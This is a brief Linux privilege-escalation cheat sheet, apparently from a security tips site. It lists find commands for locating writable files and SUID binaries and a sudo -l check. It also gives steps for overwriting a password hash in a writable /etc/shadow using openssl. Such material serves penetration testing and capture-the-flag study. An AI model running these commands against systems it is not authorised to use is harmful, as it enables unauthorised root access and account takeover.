



Privilege Escalation | Linux

**File Perms**

- find / -not -type l -perm -o+w

If /etc/shadow editable:

- openssl passwd -1 -salt abc {password}
- nano /etc/shadow → Paste hash

**SUID Binaries**

- find / -perm -u=s -type f 2>/dev/null
- find / -user root -perm -4000 -exec ls -ldb {} \;
- sudo -l → Look for (root) NOPASSWD

For more linux privilege escalation, check [here](#).

WWW.DRAGKOB.COM